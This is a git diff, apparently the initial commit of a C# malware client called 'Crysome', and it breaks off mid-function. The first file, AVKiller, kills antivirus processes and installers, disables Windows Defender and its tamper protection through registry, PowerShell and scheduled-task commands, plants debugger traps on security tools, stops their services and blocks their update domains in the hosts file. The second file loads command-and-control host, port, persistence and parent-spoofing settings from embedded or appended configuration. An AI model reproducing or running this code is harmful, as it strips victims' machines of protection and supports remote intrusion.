initial commit
This commit is contained in:
@@ -0,0 +1,435 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Crysome.Client.Configuration;
|
||||
|
||||
public static class AVKiller
|
||||
{
|
||||
private struct LUID
|
||||
{
|
||||
public uint LowPart;
|
||||
|
||||
public int HighPart;
|
||||
}
|
||||
|
||||
private struct TOKEN_PRIVILEGES
|
||||
{
|
||||
public int PrivilegeCount;
|
||||
|
||||
public LUID Luid;
|
||||
|
||||
public int Attributes;
|
||||
}
|
||||
|
||||
private static volatile bool _running;
|
||||
|
||||
private static readonly HashSet<string> AVProcs = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
"MsMpEng", "MpCmdRun", "MsASCuIL", "SecurityHealthService", "SecurityHealthHost", "SecurityHealthSystray", "ConfigSecurityPolicy", "NisSrv", "NortonSecurity", "navapsvc",
|
||||
"nsWscSvc", "NProtect", "ccSvcHst", "SymCorpUI", "McShield", "McUICnt", "mfemms", "mfevtps", "masvc", "McAPExe",
|
||||
"MMSSHOST", "ModuleCoreService", "avp", "avpui", "kavfs", "kavfsgt", "klnagent", "bdagent", "vsserv", "bdservicehost",
|
||||
"bdntwrk", "updatesrv", "seccenter", "bdredline", "ProductAgentService", "AvastSvc", "AvastUI", "aswidsagent", "afwServ", "aswToolsSvc",
|
||||
"aswEngSrv", "avgnt", "avguard", "AVGSvc", "AVGUI", "avgidsagent", "ekrn", "egui", "EsetService", "EHttpSrv",
|
||||
"MBAMService", "mbamtray", "mbam", "MBAMWsc", "PccNTMon", "TmListen", "ntrtscan", "tmbmsrv", "TmProxy", "coreServiceShell",
|
||||
"SAVAdminService", "SavService", "SophosHealth", "SophosCleanM", "SophosFileScanner", "SophosFS", "fshoster", "FSMA32", "fsaua", "fsorsp",
|
||||
"cmdagent", "CisTray", "cavwp", "PSANHost", "PSUAMain", "PSUAService", "WRSA", "WRCoreService", "a2service", "a2guard",
|
||||
"a2start", "ZoneAlarm", "vsmon", "zlclient", "CSFalconService", "csagent", "CSFalconContainer", "SentinelAgent", "SentinelServiceHost", "SentinelStaticEngine",
|
||||
"SentinelHelperService", "CylanceSvc", "CylanceUI", "RepMgr", "CbDefense", "CbDefenseSensor", "dwengine", "dwservice", "SpIDerAgent", "dwarkdaemon",
|
||||
"Avira.ServiceHost", "avshadow", "Avira.SystrayStartTrigger", "GDScan", "AVKService", "SCANMAIN", "BDSS", "SBAMSvc", "BullGuardBhvProcessing", "BullGuardScanner",
|
||||
"BullGuardUpdate", "360Tray", "360sd", "ZhuDongFangYu"
|
||||
};
|
||||
|
||||
private static readonly string[] AVKeywords = new string[42]
|
||||
{
|
||||
"norton", "symantec", "mcafee", "kaspersky", "bitdefender", "avast", "avg antivirus", "eset", "nod32", "malwarebytes",
|
||||
"trend micro", "trendmicro", "sophos", "f-secure", "comodo", "panda security", "webroot", "emsisoft", "zonealarm", "crowdstrike",
|
||||
"sentinelone", "sentinel one", "cylance", "carbon black", "carbonblack", "bullguard", "vipre", "quick heal", "quickheal", "dr.web",
|
||||
"drweb", "avira", "g data", "gdata", "360 total security", "360totalsecurity", "antivirus", "anti-virus", "endpoint protection", "internet security",
|
||||
"total security", "windows defender"
|
||||
};
|
||||
|
||||
private static readonly string[] AVServices = new string[41]
|
||||
{
|
||||
"WinDefend", "WdNisSvc", "SecurityHealthService", "wscsvc", "Sense", "McShield", "masvc", "mfemms", "mfevtp", "HomeNetSvc",
|
||||
"McProxy", "McODS", "AVP", "kavfsgt", "klnagent", "VSSERV", "EPSecurityService", "EPUpdateService", "EPIntegrationService", "avast! Antivirus",
|
||||
"AvastWscReporter", "aswbIDSAgent", "avast! Firewall", "avgwd", "AVGSvc", "ekrn", "EsetService", "MBAMService", "ntrtscan", "TmListen",
|
||||
"tmbmsrv", "TmProxy", "SAVAdminService", "SAVService", "Sophos MCS Agent", "cmdAgent", "CSFalconService", "SentinelAgent", "SentinelStaticEngine", "CylanceSvc",
|
||||
"CbDefense"
|
||||
};
|
||||
|
||||
private static readonly string[] IFEOTargets = new string[34]
|
||||
{
|
||||
"avp.exe", "avpui.exe", "ekrn.exe", "egui.exe", "bdagent.exe", "vsserv.exe", "bdservicehost.exe", "AvastSvc.exe", "AvastUI.exe", "afwServ.exe",
|
||||
"AVGSvc.exe", "AVGUI.exe", "MBAMService.exe", "mbamtray.exe", "SavService.exe", "SAVAdminService.exe", "CylanceSvc.exe", "CylanceUI.exe", "WRSA.exe", "WRCoreService.exe",
|
||||
"a2service.exe", "a2guard.exe", "CSFalconService.exe", "csagent.exe", "SentinelAgent.exe", "SentinelServiceHost.exe", "NortonSecurity.exe", "ccSvcHst.exe", "McShield.exe", "masvc.exe",
|
||||
"fshoster.exe", "FSMA32.exe", "PSANHost.exe", "PSUAMain.exe"
|
||||
};
|
||||
|
||||
private static readonly string[] AVUpdateDomains = new string[33]
|
||||
{
|
||||
"update.nai.com", "download.mcafee.com", "vs.mcafee.com", "update.avg.com", "download.avg.com", "update.avast.com", "download.avast.com", "iavs9x.u.avast.com", "dnl-01.geo.kaspersky.com", "dnl-02.geo.kaspersky.com",
|
||||
"downloads.kaspersky-labs.com", "update.eset.com", "download.eset.com", "download.bitdefender.com", "upgrade.bitdefender.com", "nimbus.bitdefender.net", "download.sophos.com", "dci.sophosupd.com", "sophosupdate.sophos.com", "mb3-download.malwarebytes.com",
|
||||
"downloads.malwarebytes.com", "data-cdn.mbamupdates.com", "definitions.symantec.com", "liveupdate.symantec.com", "symantecliveupdate.com", "update.trendmicro.com", "download.trendmicro.com", "download.f-secure.com", "guts2.f-secure.com", "update.drweb.com",
|
||||
"download.drweb.com", "update.avira.com", "install.avira-update.com"
|
||||
};
|
||||
|
||||
public static void Start()
|
||||
{
|
||||
if (!_running)
|
||||
{
|
||||
_running = true;
|
||||
Task.Factory.StartNew(MainLoop, TaskCreationOptions.LongRunning);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Stop()
|
||||
{
|
||||
_running = false;
|
||||
}
|
||||
|
||||
private static async void MainLoop()
|
||||
{
|
||||
Program.Log("AVKiller: active");
|
||||
await Task.WhenAll(Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
NeutralizeDefender();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}), Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
SetIFEOTraps();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}), Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
DisableAVServices();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}), Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
PoisonHostsFile();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
})).ConfigureAwait(continueOnCapturedContext: false);
|
||||
Program.Log("AVKiller: hardening done");
|
||||
while (_running)
|
||||
{
|
||||
try
|
||||
{
|
||||
await Task.WhenAll(Task.Run(delegate
|
||||
{
|
||||
ScanAndKillProcesses();
|
||||
}), Task.Run(delegate
|
||||
{
|
||||
InterceptInstallers();
|
||||
})).ConfigureAwait(continueOnCapturedContext: false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("AVKiller loop: " + ex.Message);
|
||||
}
|
||||
await Task.Delay(2000).ConfigureAwait(continueOnCapturedContext: false);
|
||||
}
|
||||
}
|
||||
|
||||
private static void ScanAndKillProcesses()
|
||||
{
|
||||
Process[] processes;
|
||||
try
|
||||
{
|
||||
processes = Process.GetProcesses();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return;
|
||||
}
|
||||
Parallel.ForEach(processes, delegate(Process proc)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (AVProcs.Contains(proc.ProcessName))
|
||||
{
|
||||
proc.Kill();
|
||||
Program.Log("AVKiller: killed " + proc.ProcessName + " pid=" + proc.Id);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
proc.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private static void InterceptInstallers()
|
||||
{
|
||||
Process[] processes;
|
||||
try
|
||||
{
|
||||
processes = Process.GetProcesses();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return;
|
||||
}
|
||||
Parallel.ForEach(processes, delegate(Process proc)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = proc.ProcessName.ToLowerInvariant();
|
||||
if (text == "msiexec" || text.Contains("setup") || text.Contains("install"))
|
||||
{
|
||||
string commandLine = GetCommandLine(proc.Id);
|
||||
string text2 = null;
|
||||
try
|
||||
{
|
||||
text2 = proc.MainModule?.FileName;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
if (ContainsAVKeyword((commandLine + " " + text2).ToLowerInvariant()))
|
||||
{
|
||||
proc.Kill();
|
||||
Program.Log("AVKiller: blocked installer " + proc.ProcessName + " pid=" + proc.Id);
|
||||
KillProcessTree(proc.Id);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
proc.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private static bool ContainsAVKeyword(string text)
|
||||
{
|
||||
for (int i = 0; i < AVKeywords.Length; i++)
|
||||
{
|
||||
if (text.IndexOf(AVKeywords[i], StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static string GetCommandLine(int pid)
|
||||
{
|
||||
try
|
||||
{
|
||||
using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT CommandLine FROM Win32_Process WHERE ProcessId=" + pid);
|
||||
using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
|
||||
using ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectCollection.GetEnumerator();
|
||||
if (managementObjectEnumerator.MoveNext())
|
||||
{
|
||||
return ((ManagementObject)managementObjectEnumerator.Current)["CommandLine"]?.ToString();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static void KillProcessTree(int parentPid)
|
||||
{
|
||||
try
|
||||
{
|
||||
using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT ProcessId FROM Win32_Process WHERE ParentProcessId=" + parentPid);
|
||||
using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
|
||||
foreach (ManagementObject item in managementObjectCollection)
|
||||
{
|
||||
int num = Convert.ToInt32(item["ProcessId"]);
|
||||
KillProcessTree(num);
|
||||
try
|
||||
{
|
||||
Process.GetProcessById(num).Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void NeutralizeDefender()
|
||||
{
|
||||
ExecAsync("powershell", "-EP Bypass -Command \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableBlockAtFirstSeen $true\"").Wait();
|
||||
List<Task> list = new List<Task>();
|
||||
string[] array = new string[8] { "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v TamperProtection /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SpyNetReporting /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f" };
|
||||
foreach (string text in array)
|
||||
{
|
||||
list.Add(ExecAsync("reg", "add " + text));
|
||||
}
|
||||
list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /Disable"));
|
||||
list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /Disable"));
|
||||
list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /Disable"));
|
||||
Task.WaitAll(list.ToArray());
|
||||
}
|
||||
|
||||
private static void SetIFEOTraps()
|
||||
{
|
||||
Task[] array = new Task[IFEOTargets.Length];
|
||||
for (int i = 0; i < IFEOTargets.Length; i++)
|
||||
{
|
||||
array[i] = ExecAsync("reg", "add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + IFEOTargets[i] + "\" /v Debugger /t REG_SZ /d \"cmd.exe /c echo\" /f");
|
||||
}
|
||||
Task.WaitAll(array);
|
||||
}
|
||||
|
||||
private static void DisableAVServices()
|
||||
{
|
||||
EnableDebugPrivilege();
|
||||
string[] aVServices = AVServices;
|
||||
foreach (string text in aVServices)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.Start(new ProcessStartInfo("sc.exe", "stop \"" + text + "\"")
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
Process.Start(new ProcessStartInfo("sc.exe", "config \"" + text + "\" start= disabled")
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
Process.Start(new ProcessStartInfo("net.exe", "stop \"" + text + "\" /y")
|
||||
{
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
private static void EnableDebugPrivilege()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle))
|
||||
{
|
||||
TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
|
||||
NewState.PrivilegeCount = 1;
|
||||
NewState.Attributes = 2;
|
||||
if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid))
|
||||
{
|
||||
AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
CloseHandle(TokenHandle);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void PoisonHostsFile()
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers", "etc", "hosts");
|
||||
if (!(File.Exists(path) ? File.ReadAllText(path) : "").Contains("# avk-block"))
|
||||
{
|
||||
string text = Environment.NewLine + "# avk-block" + Environment.NewLine;
|
||||
string[] aVUpdateDomains = AVUpdateDomains;
|
||||
foreach (string text2 in aVUpdateDomains)
|
||||
{
|
||||
text = text + "0.0.0.0 " + text2 + Environment.NewLine;
|
||||
}
|
||||
File.AppendAllText(path, text);
|
||||
Program.Log("AVKiller: hosts file poisoned");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static Task ExecAsync(string exe, string args)
|
||||
{
|
||||
return Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
using Process process = Process.Start(new ProcessStartInfo(exe, args)
|
||||
{
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardError = true
|
||||
});
|
||||
process?.WaitForExit(8000);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,317 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
|
||||
namespace Crysome.Client.Configuration;
|
||||
|
||||
public static class ClientConfiguration
|
||||
{
|
||||
public static string Identifier = "Crysome-01";
|
||||
|
||||
public static string Host = "127.0.0.1";
|
||||
|
||||
public static int Port = 7777;
|
||||
|
||||
public static string Group = "";
|
||||
|
||||
public static bool Persistence = false;
|
||||
|
||||
public static string ParentSpoof = "";
|
||||
|
||||
public static HashSet<string> EnabledFeatures = null;
|
||||
|
||||
private const string EmbeddedMarker = "##CRYCFG##";
|
||||
|
||||
private const char PaddingChar = '\u0001';
|
||||
|
||||
internal static string EmbeddedConfig = "##CRYCFG##\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001";
|
||||
|
||||
private const string TailMarker = "##CRYCONFIG##";
|
||||
|
||||
private static bool? _isHollowed = null;
|
||||
|
||||
public static bool IsHollowed
|
||||
{
|
||||
get
|
||||
{
|
||||
if (_isHollowed.HasValue)
|
||||
{
|
||||
return _isHollowed.Value;
|
||||
}
|
||||
try
|
||||
{
|
||||
string location = Assembly.GetExecutingAssembly().Location;
|
||||
if (string.IsNullOrEmpty(location))
|
||||
{
|
||||
_isHollowed = true;
|
||||
return true;
|
||||
}
|
||||
string name = Assembly.GetExecutingAssembly().GetName().Name;
|
||||
bool flag = Path.GetFileNameWithoutExtension(location).Equals(name, StringComparison.OrdinalIgnoreCase);
|
||||
_isHollowed = !flag;
|
||||
return _isHollowed.Value;
|
||||
}
|
||||
catch
|
||||
{
|
||||
_isHollowed = true;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetProcessPath()
|
||||
{
|
||||
if (!IsHollowed)
|
||||
{
|
||||
try
|
||||
{
|
||||
string location = Assembly.GetExecutingAssembly().Location;
|
||||
if (!string.IsNullOrEmpty(location) && File.Exists(location))
|
||||
{
|
||||
return location;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = Process.GetCurrentProcess().MainModule?.FileName;
|
||||
if (!string.IsNullOrEmpty(text) && File.Exists(text))
|
||||
{
|
||||
return text;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
string[] commandLineArgs = Environment.GetCommandLineArgs();
|
||||
if (commandLineArgs != null && commandLineArgs.Length != 0 && !string.IsNullOrEmpty(commandLineArgs[0]) && File.Exists(commandLineArgs[0]))
|
||||
{
|
||||
return commandLineArgs[0];
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static void Init()
|
||||
{
|
||||
if (!TryLoadFromEmbedded() && !TryLoadFromExeTail())
|
||||
{
|
||||
TryLoadFromJsonFile();
|
||||
}
|
||||
}
|
||||
|
||||
private static bool TryLoadFromEmbedded()
|
||||
{
|
||||
try
|
||||
{
|
||||
string embeddedConfig = EmbeddedConfig;
|
||||
if (string.IsNullOrEmpty(embeddedConfig) || !embeddedConfig.StartsWith("##CRYCFG##"))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
string text = embeddedConfig.Substring("##CRYCFG##".Length).TrimEnd('\u0001', '\0');
|
||||
if (string.IsNullOrWhiteSpace(text))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
Program.Log("Config found in embedded blob");
|
||||
ParseJson(text);
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("Embedded config error: " + ex.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static bool TryLoadFromExeTail()
|
||||
{
|
||||
if (IsHollowed)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
string processPath = GetProcessPath();
|
||||
if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
byte[] array = File.ReadAllBytes(processPath);
|
||||
string text = Encoding.UTF8.GetString(array, Math.Max(0, array.Length - 1024), Math.Min(1024, array.Length));
|
||||
int num = text.IndexOf("##CRYCONFIG##", StringComparison.Ordinal);
|
||||
if (num < 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
string json = text.Substring(num + "##CRYCONFIG##".Length);
|
||||
Program.Log("Config found in exe tail");
|
||||
ParseJson(json);
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("Exe tail config error: " + ex.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void TryLoadFromJsonFile()
|
||||
{
|
||||
string processPath = GetProcessPath();
|
||||
string text = null;
|
||||
try
|
||||
{
|
||||
text = Path.GetFileNameWithoutExtension(processPath);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
string[] array = new string[3]
|
||||
{
|
||||
AppDomain.CurrentDomain.BaseDirectory,
|
||||
Path.GetDirectoryName(processPath),
|
||||
Environment.CurrentDirectory
|
||||
};
|
||||
foreach (string text2 in array)
|
||||
{
|
||||
if (string.IsNullOrEmpty(text2))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text3 = Path.Combine(text2, "config.json");
|
||||
if (File.Exists(text3))
|
||||
{
|
||||
Program.Log("Loading config.json: " + text3);
|
||||
ParseJson(File.ReadAllText(text3));
|
||||
return;
|
||||
}
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
string text4 = Path.Combine(text2, text + ".config.json");
|
||||
if (File.Exists(text4))
|
||||
{
|
||||
Program.Log("Loading alt config: " + text4);
|
||||
ParseJson(File.ReadAllText(text4));
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("Config json error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
Program.Log("No config found, using defaults (127.0.0.1:7777)");
|
||||
}
|
||||
|
||||
private static void ParseJson(string json)
|
||||
{
|
||||
string text = Extract(json, "host");
|
||||
string s = Extract(json, "port");
|
||||
string text2 = Extract(json, "group");
|
||||
string text3 = Extract(json, "persistence");
|
||||
string text4 = Extract(json, "feat");
|
||||
string text5 = Extract(json, "parent");
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
Host = text;
|
||||
}
|
||||
if (int.TryParse(s, out var result) && result > 0 && result <= 65535)
|
||||
{
|
||||
Port = result;
|
||||
}
|
||||
if (!string.IsNullOrEmpty(text2))
|
||||
{
|
||||
Group = text2;
|
||||
}
|
||||
if (!string.IsNullOrEmpty(text3) && text3.ToLower() == "true")
|
||||
{
|
||||
Persistence = true;
|
||||
}
|
||||
if (!string.IsNullOrEmpty(text5))
|
||||
{
|
||||
ParentSpoof = text5.Trim().ToLowerInvariant();
|
||||
}
|
||||
if (!string.IsNullOrEmpty(text4))
|
||||
{
|
||||
EnabledFeatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
|
||||
string[] array = text4.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
foreach (string text6 in array)
|
||||
{
|
||||
EnabledFeatures.Add(text6.Trim());
|
||||
}
|
||||
}
|
||||
Program.Log("Config: Host=" + Host + " Port=" + Port + " Group=" + Group);
|
||||
}
|
||||
|
||||
public static bool IsFeatureEnabled(string key)
|
||||
{
|
||||
if (EnabledFeatures == null)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return EnabledFeatures.Contains(key);
|
||||
}
|
||||
|
||||
private static string Extract(string json, string key)
|
||||
{
|
||||
string value = "\"" + key + "\"";
|
||||
int num = json.IndexOf(value, StringComparison.OrdinalIgnoreCase);
|
||||
if (num < 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
num = json.IndexOf(':', num);
|
||||
if (num < 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
for (num++; num < json.Length && char.IsWhiteSpace(json[num]); num++)
